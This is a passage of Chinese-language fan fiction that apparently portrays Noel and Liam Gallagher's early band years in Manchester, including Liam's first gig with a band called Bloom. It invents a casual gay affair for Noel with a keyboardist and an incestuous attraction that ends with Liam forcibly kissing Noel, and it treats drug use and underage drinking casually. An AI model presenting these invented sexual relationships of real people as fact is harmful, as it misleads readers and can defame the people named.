诺尔惊讶地抬起头,还没来得及开口质问,利亚姆的手就搂住他的脖子。
诺尔的大脑瞬间一片空白,他能感受到利亚姆的温度和那贴近脖子的呼气。
“你在干什么?”
利亚姆的动作带着羞涩,他在诺尔的脸上亲了一口,像是在撒娇,“嗯……我就是想要亲亲你,我已经三四个月没有见到你了,我很想你。”
利亚姆真挚直白的感情让他无所适从,诺尔脸颊微微泛红。
利亚姆却只是笑嘻嘻地看着他,“你还要抱着你的吉他吗?我们可以一起躺在床上聊聊天,看足球。”
利亚姆在不依不饶的盯着诺尔,他伸手扳过他的脸,让他再次看向自己。“我需要你上床来陪陪我,你已经三四个月没陪我了,这是你欠我的。”
诺尔被利亚姆的话弄得心头一紧,他沉默了片刻,最终还是放下了手中的吉他,缓缓站起身来。
“就陪你一会儿。”诺尔低声说道,声音里带着一丝自己都未曾察觉的温柔。他走进浴室,简单冲了个澡,试图让自己的脑袋变得清晰一些。他觉得,那一刻利亚姆绝对是在蛊惑他。
诺尔穿着与利亚姆同款的衬衫走出浴室来到床边,掀开被子躺了上去。
利亚姆立刻像只八爪鱼一样缠了上来,他的头靠在诺尔的肩膀上。这让诺尔想起他的女友,露易丝与他睡觉时也是这样做的。果然,利亚姆就是个女孩,他一点儿也不觉得奇怪。
“我好想你,诺尔,你为什么要离开家。”利亚姆嘟囔着,带着些许醉意和浓浓的怨念。
就知道利亚姆这个小子对这件事耿耿于怀,但他不知道的是诺尔非常渴望逃离这个所谓的“家”,他需要有自已的房间,有自己的生活,离开家对诺尔有很大的好处和自由。
“我们会永远在一起的,是吗?”利亚姆放低了他的声音,听起来显得弱势。
“睡吧,明天再说。”他轻声说道,他拒绝回答,所以他背过身去。
他不知道与利亚姆的兄弟关系是否能继续下去,毕竟与他在一起时,诺尔需要克制住自己的脾气,努力不让自己杀死他的亲兄弟,他的妈妈绝不会允许和原谅这种行为的发生。
房间里陷入了一片安静,只有两人轻微的呼吸声交织在一起。利亚姆像小时候一样贴在诺尔的背上,呼吸也变得均匀而平稳。
过了一会儿,诺尔也在疲惫和混乱的思绪中闭上眼睛。这特么才晚上十点,平常的诺尔可不会睡那么早,他应该在与朋友们喝酒,抽大麻以及与女孩厮混。利亚姆的到来改变了一切,他需要做出哥哥的模样,让他混蛋的弟弟不要变得更加混蛋。
虽然利亚姆从十四岁就开始抽烟喝酒吸胶以及盗窃打架任何破事他都做过,他可不是个很乖的孩子,但不知道什么何故,诺尔在他面前总是想端起哥哥的身份,照顾和吩咐男孩的一切,想把他管控在自己的视野下。这是一个哥哥所应该做的吗?诺尔不知道,反正他与大哥保罗的相处模式不是这样,利亚姆是特殊的存在,他甚至是整个家里最特殊的存在。
20. 跟着IC乐队去巡演4
诺尔的睡眠质量很低,房间里的任何动静都能让他从睡眠中醒来。他从黑暗中睁开眼,睡他隔壁床的Nail 回来了,穿着鞋醉醺醺的趴在枕头上。
他的弟弟背对他睡觉,只占据了很小的空间,诺尔能听到他打呼噜的声音,他将被子掀开,下床。
他带着烟和火柴来到旅馆走廊的尽头,那里有个巨大的窗户,是这儿唯一可消遣看风景的地方。他靠着窗台点上一根烟,半眯着眼睛惬意的抽上几口。
在感到身上的温度降下来时,离开了。傻瓜才会只穿着衬衫短裤迎着风在十月的诺丁汉抽烟,很不巧,诺尔就是这个傻瓜。
“Clint?”诺尔在转弯处遇上他的朋友,按时间算,这人刚从派对中回来,和Nail 一样。
“嘿,诺尔。”Clint头上挂着他的衣服,酒精让他神志不清,他见到诺尔立刻扑上去亲吻他。
“你……Fooking……”诺尔被他扑得踉跄,使了劲拖住他,“该死的,这里是公共区域,刚才还有人从我们身后路过!”
醉酒的键盘手可没有停下他的亲吻,他的手摸向诺尔的屁股。
“fooking cunt! ”诺尔被他摸出异样,下腹窝着一团火,他低低喘上几声,瞳孔有些发散。
Clint还有些良心,没有在走廊扯下诺尔的裤子,他带着有些情动的情人来到他的房间。他一个人住,这是属于乐队骨干成员的特权。
Clint用脚把门踢上,伸着脖子再次亲吻面前的厚实的嘴唇,他从交缠的舌头从吐出一段情话,“我在整个派对期间都在想你,但经理说你早就和你的弟弟回去了,我……特么想真想抓你过来和我大干一场。”
“嗯……你现在就在干。”诺尔堵上这人说话的嘴巴,双手灵活的脱下彼此的衣服。
“我这次要在上面。”Clint压着诺尔,双臂撑在他脑袋旁边,这让他看起来很有压迫感,但这对诺尔并不适用。
诺尔歪头思索片刻,在Clint以为他有机会时,他又突然开口,“当然不行,你个混蛋。”
Clint知道他没戏了,和上次一样,他主动的倒在诺尔的身下,将他光裸的腿挂在诺尔的腰间。
“来吧,不要让我等。”Clint亲吻情人流汗的脖子。
诺尔没有再犹豫将嘴贴上,两人的喘息声交织在一起,床铺也随着他们的动作发出轻微的声响。
……省略
“你真是个混蛋。”Clint捶了一下诺尔的胸口,带着不小的力道。
“你不就喜欢这样吗?”诺尔挑了挑眉,嘴角勾起一抹坏笑。
Clint带着羞涩背过身去,诺尔将他扒拉到身边,再次与他抱作一团,在闹够后,诺尔又在床上躺了一会儿,才起身穿好衣服。
诺尔看了看时间,已经凌晨了,他知道自己该回房间了,不然当他弟弟醒来发现他不在旁边,那个混蛋小子会一直追问他在干什么。诺尔讨厌被他这样询问,所以他打算直接避免这种情况的发生,在利亚姆醒来前回到他的床上。
“我走了。”诺尔整理好衣服,准备离开。
“嗯,明天见。”Clint躺在床上,朝他挥了挥手。
诺尔轻轻关上门,回到自己的房间。弟弟还在熟睡,他轻手轻脚地爬上床,拉过被子盖在身上。
上述情景在往后的日子里不时地重演着,而这一切皆源于二人你情我愿的亲密行为,他们也并无向他人透露此事的打算。他与Clint之间的关系仅仅局限于床伴层面,诺尔有时候甚至还会邀请女孩留宿过夜。每当女孩接受他的邀约,诺尔只需将利亚姆从房间里撵出去,锁好房门,同时警告他守口如瓶,千万别向妈妈告密,毕竟妈妈要是知道他与露易丝以外的人有染,肯定会对他一顿痛斥。
—————
时间:1989年十一月底。
诺尔在乐队的第一个旅程结束了,他不用窝在巡演大巴里跟着乐队后面来回折腾。历经一年的颠簸,他拿到几千英磅的工资,这对他来说是巨额。他回家给自己买了一个木吉他,给利亚姆买了一双漂亮的阿迪达斯运动鞋,给他的家人们带来了礼物,给露易丝买了一个漂亮的珍珠项链。
利亚姆只在上半年待了一个月,他在诺尔身边闲逛的时间仅仅为半个月。因为这位年轻人在夜晚抛弃了他的哥哥,投入到梦幻派对,高浓度酒精和漂亮的女孩怀中,在晚上他通常入住到女孩的住所,与她们一起温存。
诺尔很看不上他这种行为,这太乱来了,毕竟Rkid才十七岁,而那些女人有的已经接近三十岁了。但很奇怪的是,每次利亚姆从女孩家里回来,都会在诺尔的耳边嚷嚷,“我不是不行,我只是亲吻她们,为她们服务……我喜欢这样。”或者“我没有喜欢沉溺女孩的□□,我没有与她们上床,我只是欣赏她们……”
总之,诺尔可不关心他的弟弟有没有与女孩上床,他只在意利亚姆会不会给他带来烂摊子,有没有给他搞事儿。若与这些相比,诺尔简直希望他的弟弟能像强力胶一样,全身心地黏在女孩身上,而不是像口香糖一样黏着自己。他每天都要被这个小恶魔烦死了,仿佛有一只嗡嗡叫的苍蝇在他耳边盘旋,一刻也不得安宁。幸亏,Rkid这小个混蛋只待了一个月就走了。
今年年底,诺尔带着女友露易丝回家过了圣诞节,圣诞节期间他们来到爱尔兰拜访他们的叔叔和祖母。圣诞过后他回到自己与露易丝的公寓,无聊的度过两个月。
这段日子他都快闲出屁了,他没有工作,所以领着政府发放的失业救济金并依靠露易丝的工资生活。
他爱死他的女友了,露易丝比诺尔大二岁,处处包容着坏脾气的诺尔。露易丝对他也很大方,她会把她的工资给诺尔用,但诺尔将女友的钱总是花在别的地方,他会拿着露易丝的钱去买大麻和drugs,来消耗他无聊的日子。谢谢上帝给他遇见露易丝,在女友面前,诺尔愿意当一个只会躺在公寓里无所事事的“软饭男”。
这让他怎么说,他整天不是窝
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在公寓里吃饭就是睡觉,哦对,偶尔还会抠着脑袋写出点歌词,等他兜里有点小钱儿了,就会去附近的唱片店溜达溜达,或者钻进附近的录音棚,录下自己的音乐,然后带回家慢慢琢磨,反复演练。
当然,身为曼彻斯特人,除了摇滚音乐,足球是无法回避的话题。他所支持的球队——曼城,本赛季成绩中等,这不上不下的战绩令诺尔心中烦闷,为免下一场的结果刺激到自己,他会邀住在本地的Graham Lambert一起去酒吧,与他聊着音乐以及后续的乐队巡演安排。
“乐队接下来19号会在英国伦敦肯特镇的O2论坛演出,我们今年接受了很多邀约,我们将会在这一年忙得昏过去。”昨晚的Graham这样告诉他。
好吧,不管怎么样,诺尔都准备好再次出发了,他喜欢他这个设备管理员的工作,他可以跟在乐队的身后胡吃海喝,白嫖他们的酒水以及还有年轻女孩的陪伴。
与其他成员相比,他的面前不用摆放着摄像机全天录像,也不用上舞台演奏乐器和唱歌,也不用花很多时间去练习歌曲,他只需要窝在某个地方,等着经理的工作通知,然后拍拍屁股站起来去干活。而诺尔是个狡猾的小子,他擅长在工作中摸鱼,当别人在搬设备时,他偷摸的站在角落里抽上几根烟,低着头假装与身边的人谈事情。但当他偷懒的事儿做得多了,他就不可避免被乐队里的朋友赋予一个“nap cat ”称号。
像一只偷懒的猫?诺尔他很赞同。他的性格很像一只猫,他和猫一样会安静的窝在一个角落默默关注着一切,在别人意想不到的时候给他们一个大“惊喜”。
好了,让我们回到工作中吧,诺尔从二月底到现在,已经跑遍了整个英国,当然是跟着乐队的巡演大巴。
三四月份,乐队在利物浦的皇家宫廷剧院,泰恩河畔纽卡斯尔的纽卡斯尔梅菲尔,诺丁汉的摇滚之城,诺里奇的东英吉利大学演出。
六月份,在美国纽约的The Marquee,加拿大多伦多的Lee''s Palace演出,这可让诺尔免费体验到之前没有见过的风景,当你在乐队中,这是免费的!不用诺尔花钱,这对他可太棒了。
七月份,他们又回到了曼彻斯特,在本地的G-MEX中心进行Life tour演出,同台的有The Las、The High、Ashley&Jackson。
这阵容可比之前的强多了,所以诺尔邀请了他大哥保罗来看。如果你要问他为什么没有邀请利亚姆到来呢,毕竟利亚姆是你的弟弟,为什么只邀请了保罗一个兄弟?
因为TMD诺尔根本联系不上他的弟弟,不知道这个小混蛋在忙什么。再说,诺尔已经一年没有和他见过面,他们甚至都没有再打过电话,诺尔可不想像个bitch一样在Rkid的耳边重复:求你了,快快来看我们的演出吧。诺尔不是这样的人,他可不想热脸贴冷屁股,尤其是对着家里的那个混蛋兄弟,诺尔恨不得Rkid离他远远的,不要打扰到他的生活。
21. Bloom乐队首次演出1
IC 乐队在曼切斯特演出结束后,又马不停蹄的赶到伦敦在雷丁音乐节上表演几个晚上。然后,他们又回到曼切斯特,在一家小型俱乐部ridoway演出。
在这场小型演出发生一件事儿给诺尔留下挺深的印象,就是在90年9月十几号的晚上,下面是当时诺尔的记忆。
诺尔和往常一样,在晚上演出开始前他需要为设备试个音,然后离开去买啤酒和大麻。他在回去的途中,看见一个小姑娘只身一人蹲在乐队巡演大巴的车胎旁。
这太诡异了,这个弱小的女孩隐藏在黑暗中给诺尔吓了一跳,当他注意到了,他走过去询问,“你是谁?你在干什么?”
“我是来看演出的,但是我没法进去。”这个黑发亚裔女孩站起来,哭着鼻子。
“为什么没法进?”
“因为我还未满16岁,这个地方只允许16岁以上的人进入,我的朋友还在里面等我。”
“Fuck it, 站起来,我带你进去。”
诺尔有着员工证件,他可以带任何人进入演出后台,所以他将小女孩拉起来,带她从员工通道进入。
“你为什么帮我?”
“我想帮就帮了,不用谢。”他停顿一下,“有可能你让我想起我那个混蛋弟弟,他和你一样,都是个小屁孩。”
“你叫什么?”
“诺尔。”
这个只是诺尔在旅程中的小插曲,他带这个亚裔小女孩去看了演出,在第二天是带她出去逛周围的街景,在她离开时将带着 IC 乐队logo的周边送给她。
“你是喜欢她吗?她才15岁。”他的朋友们这样问。
“当然不是,这个女孩和Rkid差不多大,我会喜欢上和我弟一样大的女孩吗?这不可能。”
他只是想给自己找点事做,这个女孩叫做Miley, 她感谢诺尔的热心并认真的对待诺尔的吉他弹奏。在诺尔弹吉他给她听时,她这样说,“诺尔,你会出名的,我相信你会成为厉害的作曲家。”
女孩对他的欣赏很真诚,她陪伴诺尔给他拍了很多照片,所以诺尔为了回馈女孩的感谢,给住在伦敦的女孩写信并寄送自己录的歌曲demo。当然,这个女孩充分展现了她的热情,她会给诺尔的每一封信回信并送上自己的最真诚的祝福。
当巡演通通结束后,诺尔和去年一样,只是窝在自己的公寓里,约朋友们出来喝酒并在晚上与酒吧里的陌生人打一架。当他酒醒时,他把这些都忘记了,然后再次待在家里,一直等到朋友约他出去。直至 IC 乐队的工作人员打电话给他说,收拾你的东西,回到巡演大巴里,我们需要出发了。
1991年的诺尔24岁了,他在 IC 乐队当设备管理员已经二年了,他还是个无名之辈,依旧为了生活赚钱,但诺尔心存希望,他希望自己能够出名,希望自己的歌被大众所知,但对现在诺尔来说,一切都是空泛的屁话。
“妈妈,你在忙什么?”
诺尔目前处于苏格兰的一家旅馆里,他坐在一个明黄色的双人沙发上并翘着一只腿,他的手里拿着电话打给远在曼切斯特的妈妈。
“我在给威廉洗他的脏衣服。”
“你在家还好吗?”
“一切照常,诺尔。你现在在哪?”
“我在苏格兰的一间旅馆里,现在不是很忙,我在休息中。”
“那很好,照顾好你自己,我的孩子。”
……
在扯完家常后,诺尔问起他兄弟的近况。
“Rkid在忙什么?他最近都没有给我打电话,你知道他在搞些什么吗?”
“他没告诉你么,他加入了一支乐队,他在一支乐队里。”
“他在一支乐队里!这是在开玩笑吗?”
“不……我没有开玩笑,威廉现在与他的朋友们在搞一支乐队……”
电话两边突然停顿片刻,显然双方都感觉到不可置信。
“他怎么突然就加入乐队了?他不是一直对音乐没什么特别的兴趣吗?”诺尔惊讶的提高了音量,他皱起眉头,眼神中满是不解。
“我也不太清楚,他的朋友们邀请威廉加入他们的乐队,他还是个主唱呢!”妈妈在电话那头耐心地解释着,她的声音也充满了惊讶。
“他还是个主唱! 他从来没跟我提过。”诺尔摇着头,他还是感到有些不可思议,“I can''t believe this! It''s joke , right? ”
“No. ”妈妈叹了口气,“这对他是个新的尝试。下次我会让他打电话给你,你和他聊聊。”
诺尔沉默了一会儿,“好的,妈妈。我会找时间和他聊聊的。你也别太累了,照顾好自己和家里。”诺尔说道。
“知道了,你也一样。在苏格兰要注意安全,好好休息。”妈妈叮嘱道。
挂了电话后,诺尔坐在沙发上,陷入了沉思。他真的不相信他的兄弟加入了乐队,Rkid不是对音乐不感兴趣吗,他的转变,真是奇怪极了,诺尔从没有想过利亚姆会加入乐队!
几天后,诺尔如愿接到了Rkid的电话。电话那头传来了熟悉的声音:“嘿,诺尔,一切还好吗 ?”
电话对面Rkid的嗓音听起来是多么的特别,多么的有活力,他当主唱是多么的合适,这是诺尔以前从没有注意到的。
“还不错,你呢?听说你加入了一支乐队,要和我说说吗?”诺尔笑着问道。
“没错,妈妈告诉你的?”
“是的。”
“……”
电话那边突然安静下来,“为什么只有妈妈接到你的电话,而我没有。”
瞬间,两头只能听到双方的呼吸声。
Jesus Christ,利亚姆的脑子是怎么运转的,妈妈能接到电话还不是因为她就在电话旁边,而利亚姆呢,他可是个在家闲不住的小子,他一天的时间差不多都在外面与朋友鬼混。
诺尔就这样被弟弟的脑回路镇住了,他想要说出的话被噎在喉咙里。二人就这样安静片刻,谁也没有说话。
Fooking liam!
片刻,利亚姆清了清嗓子,出声。
“好吧,我很想你,你的工作结束了吗?”
“没有……”
“那你应该为了我请假,我将在曼切斯特进行我的第一场演出,我需要你过来。”
在等到对面沉默的回答时,他又继续,“我的第一场演出需要得到你的反馈,求求你了,诺尔,你来看我的演出吧,我会非常感谢你的。”
“好吧,我会去的,具体什么时间?”
诺尔不打算让
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自己继续沉默下去,所以他开口了。几秒后,他听到对面的声音变得很大声以及兴奋。
“八月二十五号晚上八点,我需要你准时过来!”
诺尔低低应了一声,打算举起手臂继续对Rkid说点什么时,电话传来陌生的男性声音。那个声音在对着利亚姆说话,诺尔听不太清。
“Rkid,我要挂电话了,bonehead找我去他那排练歌曲。”
“OK,bye……”
挂了电话的诺尔后知后觉的反应过来,bonehead?
是住在曼切斯特的Paul "Bonehead" Arthurs的bonehead的吗?
他竟然与Rkid在一起搞乐队了,这真让人惊讶,他看起来与Rkid不是一类人,毕竟他可比Rkid大好几岁呢,他比诺尔还大!他不相信bonehead能与Rkid玩在一块去,他们还混在一起搞乐队!天哪,这听起来就很不靠谱。
这个年轻的新人主唱可是他的亲弟弟,诺尔必须去看看他弟弟的演出搞得怎么样。为了让自己不孤独,他邀请利亚姆和他共同的好友Erica BigUn ,并带上他的女友露易丝去观看。
——————————————————
时间:1991年夏季末,8.25晚上,距离Bloom 乐队演出的十分钟前。
地点:曼切斯特Little Peter Street上的The Boardwalk. 它和The Hacienda,The International一样,为许多本地乐队提供了现场表演的场地。今天是个温暖的夜晚,预计会有很多人到场。
今晚的一支乐队Bloom 主角利亚姆格外的兴奋,在后台的他立在房间的中央举着他的双臂。
他就是整个房间的焦点,由于他长得过分漂亮的脸蛋。今晚他穿着一身白色的过于宽松的衬衫,套着一条蓝色的牛仔裤,衬得他格外的修长和慵懒,他让在房间内的所有女生为他着迷,女孩的余光跟着他的步伐移动。
利亚姆将他的双臂放下了,来到他的乐队成员中,“我的二哥诺尔会在人群中观看我们的演出,我们得拿出真本事来,给他好看。”他敦促着他的朋友们。
“男孩们,该你们上场了!”一位穿戴着麦克风的工作人员进入房间提醒。
利亚姆再次敦促他们朋友们打起精神来,他可不想让他的哥哥看低他。就这样,Bloom 乐队的所有成员抱着“要给利亚姆二哥拿出真本事”的念头上台了。
上台后,Bonehead和Guigs抱起他们的乐器,而Tony给予一个超重的鼓声开场。当音乐蓄势待发,接下来该他们主唱表演了。
Liam在话筒前表现得格外凶狠,他紧紧抓着话筒,张大喉咙用它的生命在呐喊。
一切都很疯狂,这场演出点燃了场下观众的热情。观众盯着站在舞台前面的漂亮男孩,他们一开始不明白是怎么回事,然后他们无法把目光从主唱身上移开。
站在前方的观众跟着鼓声摇摆,他们高高举起双手,用着摇滚的手势表达他们的支持。
Bloom 乐队唱完了他们的歌,走下了舞台。总体来说,这次演出很不错,但还算不上很棒,与其他乐队相比之下就显得平淡无奇。
22. Bloom乐队首次演出2
利亚姆一下舞台,就径直走向他的哥哥。场内温暖的温度让他的额角布满了汗水,浸湿了他的刘海,这让他看起来异样的漂亮。
诺尔在人群的后面站着,他的女友在旁边亲昵的搂着他脖子。与女友聊天的诺尔注意到弟弟的到来,朝他招手,“Hey ! 利亚姆,过来。”
露易丝也注意到了他,她向他打招呼。
“利亚姆,你刚刚在台上唱得很棒!今晚你看起来棒极了。”说着,她的手拍在利亚姆的肩上。
但利亚姆没有理会她,他的眼神直直盯着诺尔,“Rkid,我唱的怎么样?”
诺尔早就等着他的弟弟来问他了,这到他施展的时候了,他可要好好的嘲讽利亚姆一番。虽然他觉得利亚姆唱得不错,但兄弟之间,你见过他们会互相夸赞吗?诺尔没有,所以他打算以自己的方式来。
他看着这位眼睛亮晶晶望着他的男孩,坏笑说着,“你唱的像一坨屎!”
刚说完,诺尔就看到他弟弟的表情变了,利亚姆原本还在张开嘴微笑的嘴巴闭上了,眼里的光芒也消失不见了。
露易丝好似预感到什么,她躲到了朋友BigUn身后,与他一同站在旁边,这二人都不想陷入到接下来的兄弟争端中。
“你敢再说一遍吗?你个混蛋!”利亚姆跳起来指着诺尔的鼻子怒吼,另一只手握着拳头蓄势待发,“You fooking shit ——”
诺尔可没想到他弟弟的反应那么大,他愣在原地,但他可不会让利亚姆的气势超过他,他迎上前。
“行了,我改变了我的想法,你唱得连屎都不如!”
诺尔尖锐的评论让利亚姆泄下气来,他此刻看起来就像杵在一片乌云下的落水狗。他低下头对他的哥哥吐了口唾沫,不再理他的哥哥,甩着手离开了。
他想不通他为什么要邀请诺尔,是因为对他哥哥的想念吗,毕竟诺尔在外面忙得都没有时间陪他;还是因为他想要哥哥对他的演出只是一个小小的夸赞,还是因为自己想要在哥哥面前显摆的心情。但这一切都被诺尔毁掉了,连带着他对诺尔的爱意。他不要想着这个混蛋了,他伤透了他的心。
他回到了演出后台,坐在一块人少的地方,垂着他的脑袋,他的刘海汗津津地黏在额头上。显然,他哥那不留情面的尖锐评价让他彻底泄了气。
他乐队里的成员Guigs坐到他的旁边给他递上免费的啤酒,带着关心,“嘿,利亚姆,你不是说要去找你的哥哥……”
Guigs还没说完,就被打断了。
“你能闭上你的嘴吗?”
利亚姆将手里酒抬高往嘴巴里灌,由于幅度倾斜的太大,大部分的酒水从下巴上滴落,将他的裤子弄湿。
利亚姆将空的酒瓶往人群中一扔,被他砸中的倒霉蛋在抱腿痛呼,利亚姆立刻低头用自己的衣摆擦着湿漉漉的裤子。
“看来情况很不妙……”身边的Guigs再次说了一句,他向坐在房间另一边的Bonehead以及Tony使眼色,只要是个正常人都能看出他们主唱的心情很不好,所以Guigs很识趣的从利亚姆身边离开。
这边利亚姆在后台喝着免费的啤酒,抽着免费的大麻,免费观看穿着火辣女孩热舞,而诺尔呢,他在干嘛?
“你应该向你的弟弟道歉。”露易丝这样说,带着劝解,“虽然我不喜欢你的兄弟,但你刚刚对他说的话太过分了,这不是对家人应该说的话。”
“我才不会这样做,向那个小混蛋道歉?绝不。”诺尔拧着眉,“显然我又没有做错什么,不是吗?是Rkid理解错了,我并不想和他吵起来了。”后一句他的底气有些不足。
露易丝也被男友气到了,但她没有揭穿他,她从来不知道她的男友是这么的固执以及小气。
露易丝对着空气叹气,将目光放在他们的朋友BigUn身上。
“BigUn,你不是和利亚姆的关系很好么,你可以替诺尔去找利亚姆和解吗?”
BigUn是个聪明的家伙,他把目光放在诺尔身上。
“如果你想去,我很高兴。毕竟如果是我去的话,我会与那个混蛋打起来并把他的脑袋拧下来。”诺尔一边说着一边避开朋友的眼神,低头喝着啤酒。
他稍作停顿,继续说,“如果我这样做,我想我的妈妈会杀了我……”
显然他想要他的朋友替他去找利亚姆和解,但他就是不明说,要让身边人自行理解,诺尔就是这样让人费解的性格。而他的朋友BigUn乐意包容他。
“当然,我很乐意。你们呢?要离开了吗?”BigUn是个很好的朋友,接下了这个请求。
“是的,我可不想让利亚姆找回来打我一顿。”
诺尔还有心情对着朋友开玩笑,他的
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头依偎在露易丝的脖子上方,左手搭在女孩的腰上,“下次再聚……”
诺尔嘴角挂着温和的笑向BigUn挥手道别。灯光洒落在他脸庞上,勾勒出一层淡淡的白色光辉,使得他整个人看起来越发迷人。
BigUn在他们离开后,来到后台寻找利亚姆的身影。
利亚姆坐在人群的中间,周边围满了年轻的姑娘们,男孩们喝着酒大声聊着各种话题。
这时BigUn走了进来,对着利亚姆满脸笑容地说,“嘿,your kid爱死你在舞台上的一切了。”他一边说一边大笑。
利亚姆抬起头来诧异地看着他,问“他不是骂我一坨屎吗?你怎么知道他这样说?”
BigUn告诉利亚姆,诺尔一直全神贯注地看着他们的表演,还兴奋地对女友喋喋不休这支乐队是多么有潜力。诺尔只是没法对着利亚姆说出这些话来,他很抱歉他骂了利亚姆的表演。
这个消息一扫利亚姆的低落情绪,他的心情又重新回到了正轨,重拾了自己的自信。
利亚姆高高举着自己手里的淡啤酒,在他朋友Bonehead、Guigs、Tony的身边兴奋地来回蹦跶,这与刚刚利亚姆没精打采的样子形成极大的反差。
只见他大摇大摆地走到了好友 BigUn 的身旁,然后突然停下脚步,伸出右手食指,用力地戳着自己的脑袋,同时脸上露出一副无比自信和骄傲的神情,大声叫嚷道:“嘿!伙计,看看我这聪明的脑袋瓜儿!告诉你哦,我可是这个世界上最厉害、最优秀、最无与伦比的歌手!没错,就是 THE BEST !无人能及!”他一边说着,还一边得意洋洋地摇晃着头颅,仿佛整个世界都已经被他那美妙的歌声所征服。
这便是 Rkid,仅仅是听闻他哥哥喜爱他的表演,便如那被春风轻拂的花朵般兴奋激动,这孩子犹如那被线牵引的木偶,完全受他哥哥话语的摆布,在这关系中显得如此被动。并且,他对哥哥诺尔的深情爱意,又怎么会被其恶言恶语所能消耗殆尽得了的。
而诺尔呢,他可不知道这个房间里发生了什么,这个时候他与女友还在出租车里呢,他对这一切一无所知。
说起来,诺尔应该心里有数吧?要知道利亚姆可是把想说的话都写进歌里了,这个年轻又漂亮的男孩,在舞台上一展歌喉,想要他所有的爱意和依恋都传递给了诺尔……
23. Bloom乐队首次演出3
BigUn在The Boardwalk的后台待了好久,他把摆在台面上的免费啤酒喝空了将近十瓶。他的酒量很不错,这个时候他能够保持清醒。
“Hey, man. 你是开车来的吗?”利亚姆拿着他的酒瓶,问道。
他的蓝色眼睛喝得一片通红,脸颊被铺上两片绯色的醉意,走着摇摇晃晃的步子。他醉的一塌糊涂,意识都有些模糊了,说话的声音很黏糊,相比平常的声音较柔软,听起来像撒娇一样。
“是的,怎么了?”BigUn随口一问。
“我需要你带我去找诺尔。”
“Shit,利亚姆,我可不想酒后开车!”BigUn骂了一声,“哥们,再说现在已经晚上十一点了,you kid 肯定睡着了。”
利亚姆可不管他听到了什么,他拿着酒瓶上下摇晃,溢出的泡沫将周围的地面弄得一团糟,“我需要见到诺尔,你不带我去,我就用酒瓶把房间里的东西全砸了。”
他这胡闹的醉酒行为,作为他的朋友,让BigUn很头疼。这个小混蛋为什么不去闹他的乐队朋友们,而是在闹他,他看起来是很好欺负的人吗?好吧,他是。
“行了,利亚姆,我带你去。”BigUn夺走男孩手里的酒瓶放在地上,“你个小恶魔,我怎么会有你这样的朋友,如果被警察逮住了,我第一个扔下你跑走。”
“我的朋友,你不会这样做的。如果你这样做,Rkid就会冲到你家里胖揍你。”
利亚姆弯着腰滑稽的笑着,“如果我们被警察逮住了,让我们乖乖投降吧,他们会拿枪射击我们……”利亚姆左手架在右手上,用手比划出一个手枪射击的动作。
就这样,BigUn开着他的车带着一个醉鬼来到了Indian House 楼下。利亚姆在车内拍打他的脑袋,发出嗡嗡的脑袋瓜子声音,他的表情看起来很痛苦。
“BigUn,我有点难受,我想吐。”
这句话让BigUn下车的动作加速了,他可不想让利亚姆的呕吐物留在车里。他快速拉开副驾的车门,将利亚姆架出车。
利亚姆趴在路边呕吐着,吐完后自己灰溜溜的爬起来。他靠在朋友的背上,请求BigUn将他带到二楼的诺尔公寓门口。
利亚姆现在可不是十二岁的小孩了,他的个头都快有BigUn一般高了(BigUn自己一米七七)。他费了好大一番劲才把这个醉鬼搬到二楼。
他搞不懂利亚姆要做些什么,为了不殃及到无辜的自己,他把醉鬼放到门口就走到墙角待着。这地方能看到诺尔的公寓,也很隐蔽,很黑暗,不仔细看,根本看不到还有个人蹲在这儿抽烟。
BigUn注意到利亚姆拍打着门,使的劲很大,大到他担心邻居会出来咒骂利亚姆这个混蛋。但很幸运,没有领居出来。
过了一二分钟,门从里面被打开。BigUn瞟了一眼,是诺尔,他打开了门。
利亚姆他的兄弟出来就好了,BigUn的视线也就收回了,他专注抽自己的烟。
模糊中,他听到诺尔的声音。
你唱的歌是关于我的吗……take me when I ……sweet and ……
BigUn了好一阵才反应过来诺尔说的是利亚姆晚上在The Boardwalk 唱的歌。这歌好像还是利亚姆自己写的!
有关诺尔……天哪,他不敢想下去了,他重新将心思放在门口。此刻他后悔躲在这个地方了,他多么希望他的朋友诺尔能够发现他,把他从墙角中揪出来。
Yes, It''s all about you …这个是利亚姆的声音。
接下来他们又谈论起了露易丝,然后,他们开始对骂起来。不到片刻,利亚姆就将他的拳头打在了诺尔的脸上,诺尔可没惯着他的弟弟,他也在利亚姆的脸上来了一拳。
就在BigUn犹豫要不要去劝架时,接下来发生的事儿颠覆了他的认知。
利亚姆,是的,就是他从小到大一起玩耍的朋友,他亲了诺尔,以一种强迫性的姿势,他按住诺尔的脑袋在他的嘴上亲吻了十几秒。
利亚姆完全忘记有个朋友还在这呢!还是说,他根本就不在意?
诺尔,利亚姆这二人可是blood brothers,并且他们都是BigUn的朋友,这让他以后还怎么面对这两人。
手里夹的烟蒂长时间没有抖落,烫到BigUn的手,他“Ouch!”痛呼一声,他有意地放大音量。
在门外抱着醉鬼的诺尔出声了,带着不可置信的质问,“BigUn,你怎么在这儿?”
诺尔严肃的表情吓到了BigUn,他咳嗽了一声,尴尬的来到诺尔面前。
“Sorry, mate. 我的车还在楼下,是我把利亚姆送过来的,我不放心就在这儿没走……”
下面不用说,诺尔想必已经知道了,他的这位朋友看到了全过程。
“诺尔,露易丝在家吗?”BigUn好奇的询问。
“不,她不在。”诺尔把门打开将利亚姆拖到沙发上,又回到门口。
他沉默的望着BigUn,皱着眉。
“那……利亚姆可以在你这儿睡,我就不用再把他送回去了。”BigUn扔下他的烟,对着诺尔尬笑。
他们在门口待了几分钟,BigUn的眼角笑得都要僵硬了,看来他的朋友诺尔不打算向他解释什么。
“我们还是朋友,是吗?”他这样问诺尔。
“几分钟前,我们是。现在我不知道了……”诺尔抓着门把手,低声说。
“Hey, 诺尔,我可是你的好朋友,也是利亚姆的朋友,我不会往外乱说的,不是吗?”
BigUn捻灭烟头,鞋底将香烟捻得稀碎,他抬起腿打算离开。
突然诺尔把他叫停住了,给了BigUn一个拥抱。
“谢谢了,兄弟。”
“我绝对不会往外说的,你保重。”
BigUn知道这件事儿对诺尔和利亚姆的重要性,如果往外说,这二人的一辈子都毁了。他说完后拍了拍诺尔的肩膀,离开了。
这件事儿任何人都不会想干预,BigUn只能祈求着他的二位朋友一切安好。他心里其实预感到了,按照诺尔藏着掖着的性格,这将是他与这两位朋友最后一次见面。
他走了,他能听到诺尔在他身后重重的叹气声。明显,他对利亚姆所做的事儿感到困扰。但这一切都不关BigUn的事儿了,他开着他的车永远的离开了。
————
楼下传来汽车引擎发动的声音,诺尔放下抓着门把手的左手,这才发觉指尖被压的发白。他关上门,将门锁上,在这过程中,他一言不发,表情很难看。
